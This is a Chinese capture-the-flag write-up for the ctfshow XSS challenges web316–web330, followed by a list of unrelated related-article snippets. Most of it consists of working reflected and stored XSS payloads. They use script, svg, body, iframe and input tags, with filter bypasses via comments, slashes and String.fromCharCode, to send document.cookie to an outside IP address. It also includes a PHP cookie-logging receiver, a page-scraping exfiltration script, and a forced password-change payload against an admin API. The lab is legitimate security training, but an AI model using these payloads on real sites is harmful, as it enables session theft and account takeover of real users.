ctfshow-xss(web316-web330)

讲解相当细致

精致练习XSS

web316

这道题估计陆陆续续弄了半天 因为xss可以说基本不会 还好最终彻彻底底明白了

首先这道题是反射性xss 也就是必须点击某一个xss链接 才能达到xss效果

这道题的意思就是 写一个祝福语生成链接发送给朋友 这个祝福语的位置就是我们实现XSS的位置

已知:flag在BOT(程序,机器人)的cookie中并且 生成的链接后端BOT会每隔一段时间访问 

所以 要构造一个含有XSS的链接 使得管理员只要访问就能获取BOT的cookie

首先用vps写一个获取cookie的php文件(别用本地服务器 因为管理员无法访问到内网ip)

构造XSS链接  这个js脚本的意思就是重定向到指定的vps中指定的文件 并且将访问者的cookie作为参数传进去

<script>location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie</script>

从而完整链接为 

当前地址?msg=<script>location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie</script>

生成完整链接后 后台BOT会隔一段时间访问这个完整链接 只要访问了 vps就能获取BOT的cookie BOT(程序)的权限

生成链接后 在vps中 持续查看当前目录的文件  最终的到flag

web317

因为BOT每隔一段时间就会访问 并且每次获取的cookie都会放置cookie.txt的一个文件下 为了方便查看 更改一下获取cookie的php文件

<?php
	$cookie = $_GET['cookie'];
	$time = date('Y-m-d h:i:s', time());
	$log = fopen("cookie.txt", "a");
	fwrite($log,$time.':    '. $cookie . "\n");
	fclose($log);
?>

还是同样的题目 提示是添加了过滤

使用上一题的js脚本 无反应 试了一下<script>alert(1)</script>无反应 看来过滤了scritp

那就换一个js脚本

用svg标签的

<svg onload="window.open('http://49.234.38.224:8080?cookie='+document.cookie)">

获得了flag

web318

使用上一题的payload svg标签的依旧可以 

<svg onload="window.open('http://49.234.38.224:8080?cookie='+document.cookie)">

尝试新姿势 body标签

<body onload="document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>

web319

继续学习新姿势

iframe 标签

<iframe onload="window.open('http://49.234.38.224:8080?cookie='+document.cookie)"></iframe>

body标签

<body onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

input标签

<input onfocus="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)" autofocus>

web320

发现是空格过滤了 过滤了script,img,空格

上面的js脚本一个一个尝试将空格换成注释即可

<iframe/**/onload="window.open('http://49.234.38.224:8080?cookie='+document.cookie)"></iframe>

web321

用上一题的打一下 成功

<iframe/**/onload="window.open('http://49.234.38.224:8080?cookie='+document.cookie)"></iframe>

web322

用上一题的即可

<iframe/**/onload="window.open('http://49.234.38.224:8080?cookie='+document.cookie)"></iframe>

学一个新姿势

String.fromCharCode()函数:ascii码转字符 十进制ascii码转字符串

String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,52,57,46,50,51,52,46,51,56,46,50,50,52,58,56,48,56,48,47,105,110,100,101,120,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62)

结果就是

<script>document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie</script>

测试一波直接这么用还不行 按照大佬的方式 也不行 不知道什么原因 记住有这个姿势

 <body/**/οnlοad=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,52,57,46,50,51,52,46,51,56,46,50,50,52,58,56,48,56,48,47,105,110,100,101,120,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62));>

<body/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

估计是这道题过滤的问题  记住有这个姿势即可

以下四道题特别有意思 气死我了网上全没有因为用的和web321一样的payload 但是我用就不行这几道题用了无数的网上的payload就是不行  等过两天看看原因吧

web323

过滤了空格 使用/绕过 有的时候/**/不好使  过滤了iframe script 

<body/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

<body/onload="document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>

<svg/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

<svg/οnlοad=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie>
#上面这个不可以

<input/onfocus="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)"/autofocus>

<input/οnfοcus=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie/autofocus>
#上面这个也不可以

web324

<body/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

<body/onload="document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>

<body/**/onload="window.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>

<svg/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

<svg/οnlοad=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie>
#上面这个不可以

<input/onfocus="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)"/autofocus>

<input/οnfοcus=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie/autofocus>
#上面这个也不可以 我现在严重怀疑 除了body和script 剩下的和href结合都有问题 

web325

<body/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

<body/onload="document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>

<body/**/onload="window.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>
#上面这个大师傅不行 但是我行 有些东西玄学
<svg/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

<svg/οnlοad=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie>
#上面这个不可以

<input/onfocus="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)"/autofocus>
#这关input不行了
<input/οnfοcus=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie/autofocus>
#上面这个也不可以

web326

<body/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

<body/onload="document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>

<body/**/onload="window.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>

<svg/onload="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)">

<svg/οnlοad=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie>
#上面这个不可以

<input/onfocus="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)"/autofocus>

<input/οnfοcus=location.href="http://49.234.38.224:8080/index.php?cookie="+document.cookie/autofocus>
#上面这个也不可以 我现在严重怀疑 除了body和script 剩下的和href结合都有问题 

web327 

很多都可以

<script>window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)</script>
<input onfocus="window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)" autofocus>
<body onload="document.location.href='http://49.234.38.224:8080/index.php?cookie='+document.cookie"></body>

发件人:必须是admin (因为要让管理员看到内容)内容就是js脚本获取管理员cookie 这样就能通过vps获取到管路员cookie了 cookie中存在flag

web328

有注册有登录 有用户管理

在用户管理中只要是管理员就可以看到用户名和密码

 思路:注册一个新用户 密码是js脚本(已知后台BOT会访问这个页面 从而获取管理员cookie)

然后抓包获直接f12cookie修改为管理员的cookie 就是以管理员身份查看该页面 

注册

账号123

密码 <script>window.open('http://49.234.38.224:8080/index.php?cookie='+document.cookie)</script> 

获取到了管理员cookie

修改cookie得到flag 有的时候页面可能是多个数据包组成的 在f12中直接修改cookie是达不到效果的 可能需要抓包 记住就可以

web329

和web328一样 发现管理员cookie是随时变的 后端设置就是访问后cookie立马失效 所以不能用上一题方法

<script>
$('.laytable-cell-1-0-1').each(function(index,value){
    if(value.innerHTML.indexOf('ctf'+'show{')>-1){
        window.location.href='http://49.234.38.224:8080/index.php?cookie='+value.innerHTML; 
    }
});
</script>

js脚本解释 在f12中查看密码位置的类名为.laytable-cell-1-0-1 然后使用each方法进行遍历 然后条件是 如果值中包含ctfshow的关键字就访问vps获取value.innerHTML 这个就是元素属性值也就是具体值

web330

用上一题方法不行 但是有一个可以修改密码的

思路就是 让管理员只要访问这个页面就自动修改密码就可以

首先对修改密码的页面进行抓包 我们修改密码为123 

他是通过GET进行传参 进行修改密码的(通过访问/api/change页面)  提交后就会修改密码 没有什么过滤的地方 并且没有验证的地方 很简单

 

思路就是 写一个js脚本 使得管理员只要是访问页面就会自动跳转到修改密码的页面 并且传参为p=123即可 

js脚本 意思就是

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

window.location.href 表示当前页面的 URL 地址 设置的新 URL 是 'http://127.0.0.1/api/change?p=123',它是一个 API 的地址,其中 p 参数的值为 123 当浏览器加载这个 JavaScript 脚本时,它会立即将当前页面重定向到该 API 地址,并带上参数 p=123。在重定向完成后,页面将会显示 API 返回的内容 管理员访问的肯定是本地的api接口 所以用127.0.0.1

这个js脚本作为密码 随便创建一个用户 (题目默认BOT会隔一段时间访问账号密码页面 从而实现了管理员点击事件)

已知管理员账号为admin 等10秒使用admin账户 密码123 进行登录

发现不行 那么就把这个js脚本当做用户名字段 试试 

发现使用admin用户密码为123可以成功登录 点击账户管理 发现了flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/769057.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

GPT-4预测股票涨跌更更更准了!东京大学新框架LLMFactor提升显著 | ACL 2024

花一秒钟就看透事物本质的人&#xff0c;和花一辈子都看不清的人&#xff0c;注定是截然不同的命运。——唐柯里昂 除了少数天纵奇才&#xff0c;大多数人都是通过知识和阅历的不断积累&#xff0c;才逐渐锻炼出观察和判断事物变化规律的能力。而如果说有一件事&#xff0c;可以…

代码便利工具

【原创】PyCharm 安装MarkDown插件&#xff0c;并修改.md文件默认打开方式_pycharm如何修改markdown-CSDN博客 1.上面是填写README的工具。

DeepFaceLive----AI换脸简单使用

非常强大的软件,官方github https://github.com/iperov/DeepFaceLive 百度云链接: 链接&#xff1a;https://pan.baidu.com/s/1VHY-wxqJXSh5lCn1c4whZg 提取码&#xff1a;nhev 1下载解压软件 下载完成后双击.exe文件进行解压.完成后双击.bat文件打开软件 2 视频使用图片换…

JAVA+SSM+VUE《病人跟踪治疗信息管理系统》

1病人功能模块 病人登录进入病人跟踪治疗信息管理系统可以查看首页、个人中心、病例采集管理、预约管理、医生管理、上传核酸检测报告管理、上传行动轨迹管理、病人治疗状况管理等内容。 病例采集管理&#xff0c;在病例采集管理页面可以查看账号、姓名、住院号、入院时间、病…

2024鲲鹏昇腾创新大赛集训营Ascend C算子学习笔记

异构计算架构&#xff08;CANN&#xff09; 对标英伟达的CUDA CuDNN的核心软件层&#xff0c;向上支持多种AI框架&#xff0c;向下服务AI处理器&#xff0c;发挥承上启下的关键作用&#xff0c;是提升昇腾AI处理器计算效率的关键平台。主要包括有各种引擎、编译器、执行器、算…

[leetcode hot 150]第三题,无重复字符的最长子串

题目&#xff1a; 给定一个字符串 s &#xff0c;请你找出其中不含有重复字符的 最长 子串的长度。 可以使用"滑动窗口"的方法来解决这个问题。基本思路如下: 使用两个指针(start和end)来定义一个窗口移动end指针来扩大窗口,直到遇到重复字符如果遇到重复字符,移动s…

Spring源码九:BeanFactoryPostProcessor

上一篇Spring源码八&#xff1a;容器扩展一&#xff0c;我们看到ApplicationContext容器通过refresh方法中的prepareBeanFactory方法对BeanFactory扩展的一些功能点&#xff0c;包括对SPEL语句的支持、添加属性编辑器的注册器扩展解决Bean属性只能定义基础变量的问题、以及一些…

每周题解:最大半连通子图

题目链接 最大半连通子图 题目描述 一个有向图 G ( V , E ) G\left(V,E\right) G(V,E) 称为半连通的 (Semi-Connected)&#xff0c;如果满足&#xff1a; ∀ u , v ∈ V \forall u,v\in V ∀u,v∈V&#xff0c;满足 u → v u\to v u→v 或 v → u v\to u v→u&#xff0…

Go语言实现钉钉机器人接入Dify工作流

go语言实现实现钉钉机器人接入dify工作流&#xff0c;完成ai 流式问答 代码地址 有用的话点个star github地址 效果 配置使用 修改.env_template文件 为.env 设置.env文件内的环境变量 API_KEY: dify的api_keyAPI_URL: dify 的api接口CLIENT_ID : 钉钉机器人应用的idCLIENT…

基于Java的家政预约系统设计与实现

作者介绍&#xff1a;计算机专业研究生&#xff0c;现企业打工人&#xff0c;从事Java全栈开发 主要内容&#xff1a;技术学习笔记、Java实战项目、项目问题解决记录、AI、简历模板、简历指导、技术交流、论文交流&#xff08;SCI论文两篇&#xff09; 上点关注下点赞 生活越过…

Docker-compose 实现Prometheus+Grafana监控MySQL及Linux主机

. ├── Grafana │ ├── data │ └── docker-compose.yaml ├── Mysql │ ├── conf │ ├── data │ ├── docker-compose.yaml │ └── logs ├── Mysqld_exporter │ ├── conf │ └── docker-compose.yaml ├── node-exporter │…

RPA 第一课

RPA 是 Robotic Process Automation 的简称&#xff0c;意思是「机器人流程自动化」。 顾名思义&#xff0c;它是一种以机器人&#xff08;软件&#xff09;来替代人&#xff0c;实现重复工作自动化的工具。 首先要说一句&#xff0c;RPA 不是 ChatGPT 出来之后的产物&#x…

推荐三款常用接口测试工具!

接口测试是软件开发中至关重要的一环&#xff0c;通过对应用程序接口进行测试&#xff0c;可以验证其功能、性能和稳定性。随着互联网和移动应用的快速发展&#xff0c;接口测试变得越来越重要。为了提高测试效率和质量&#xff0c;开发人员和测试人员需要使用专业的接口测试工…

自然语言处理学习(2)基本知识 文本预处理+文本数据分析+文本增强

conda activate DL conda deactivate课程链接 一 一些包的安装 1 stanfordcorenlp 在anoconda prompt 里面&#xff1a;进入自己的conda环境&#xff0c;pip install stanfordcorenlp 进入方式 相关包下载&#xff0c;Jar包我没有下载下来&#xff0c;太慢了&#xff0c;这个…

提高Python爬虫的匿名性:代理ip的配置策略

在数字化时代的今天&#xff0c;网络数据采集已成为获取信息的重要手段&#xff0c;尤其在竞争激烈的商业环境中。Python作为一种强大的编程语言&#xff0c;广泛应用于开发各种数据爬虫来自动化地抓取网络信息。然而&#xff0c;随着网站安全意识的提高&#xff0c;越来越多的…

牛客小白月赛97

A.三角形 判断等边三角形&#xff0c;题不难&#xff0c;代码如下&#xff1a; #include <iostream>using namespace std;int a[110];int main() {int n;cin >> n;int x;int mx 0;for(int i 1; i < n; i){cin >> x;mx max(mx, x);a[x];}for(int i 1…

Java OnVif应用PTZ控制

研究OnVif在Java程序中应用&#xff0c;在此作记录&#xff0c;onvif-java-lib/release at master milg0/onvif-java-lib GitHub&#xff0c;在此连接中下载jar&#xff0c;并在项目中引用&#xff0c;该jar封装很好&#xff0c;可以方便快速完成功能 1.登录OnVif 2.PTZ控制…

【大数据】—美国交通事故分析(2016 年 2 月至 2020 年 12 月)

引言 在当今快速发展的数字时代&#xff0c;大数据已成为我们理解世界、做出决策的重要工具。特别是在交通安全领域&#xff0c;大数据分析能够揭示事故模式、识别风险因素&#xff0c;并帮助制定预防措施&#xff0c;从而挽救生命。本文将深入探讨2016年2月至2020年12月期间&…

反射(通俗易懂)

一、反射(Reflection) 反射就是:加载类&#xff0c;并允许以编程的方式解剖类中的各种成分(成员变量、方法、构造器等) 动态语言&#xff0c;是一类在运行时可以改变其结构的语言&#xff1a;例如新的函数、对象、甚至代码可以被引进&#xff0c;已有的函数可以被删除或是其他…

强化学习的数学原理:值迭代与策略迭代

概述 从课程地图上可以看出来&#xff0c;这是本门课程中第一次正式的介绍强化学习的算法&#xff0c;并且是一个 model-based 的算法&#xff0c;而在下一节课将会介绍第一个 model-free 的算法&#xff08;在 chapter 5&#xff09;。而这两节和之前所学的 BOE 是密切相关的&…